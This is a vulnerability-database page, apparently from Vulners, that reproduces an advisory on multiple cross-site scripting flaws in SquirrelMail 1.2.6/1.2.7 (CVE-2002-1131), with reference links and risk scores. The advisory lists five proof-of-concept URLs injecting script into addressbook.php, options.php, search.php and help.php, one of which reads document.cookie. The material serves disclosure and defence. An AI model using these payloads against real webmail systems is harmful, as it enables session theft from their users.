SquirrelMail 1.2.6/1.2.7 - Multiple Cross-Site Scripting Vulnerabilities
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
 | CAN-2002-1131 | 6 Aug 202410:48 | – | cve |
| CVE-2002-1131 | 24 Sep 200204:00 | – | cve |
 | CVE-2002-1131 | 24 Dec 202308:38 | – | circl |
 | CVE-2002-1131 | 24 Sep 200204:00 | – | cvelist |
 | [SECURITY] [DSA 191-1] New squirrelmail packages fix cross site scripting bugs | 7 Nov 200216:54 | – | debian |
| [SECURITY] [DSA 191-2] New squirrelmail packages fix problem in options page | 11 Nov 200209:02 | – | debian |
 | Debian DSA-191-1 : squirrelmail - XSS | 29 Sep 200400:00 | – | nessus |
 | Exploit for CVE-2000-0114 | 30 Jul 202413:29 | – | gitee |
 | EUVD-2002-1119 | 7 Oct 202500:30 | – | euvd |
 | SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting | 16 Aug 202602:26 | – | nuclei |
10
source: https://www.securityfocus.com/bid/5763/info
SquirrelMail is a feature rich webmail program implemented in the PHP4 language. It is available for Linux and Unix based operating systems.
Multiple cross site scripting vulnerabilities have been discovered in various PHP scripts included with SquirrelMail. By including embedded commands into a malicious link, it is possible for an attacker to execute HTML and script code on a web client in the context of the site hosting the webmail system.
This issue was reported for SquirrelMail 1.2.7, earlier versions may also be affected.
http://<VULNERABLE
SITE>.net/webmail/src/addressbook.php?"><script>alert(document.cookie)</scri
pt><!--
http://<VULNERABLE
SITE>.net/webmail/src/options.php?optpage=<script>alert('boop!')</script>
http://<VULNERABLE
SITE>.net/webmail/src/search.php?mailbox=<script>alert('boop!')</script>&wha
t=x&where=BODY&submit=Search
http://<VULNERABLE
SITE>.net/webmail/src/search.php?mailbox=INBOX&what=x&where=<script>alert('b
oop!')</script>&submit=Search
http://<VULNERABLE
SITE>.net/webmail/src/help.php?chapter=<script>alert('boop!')</script>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.25754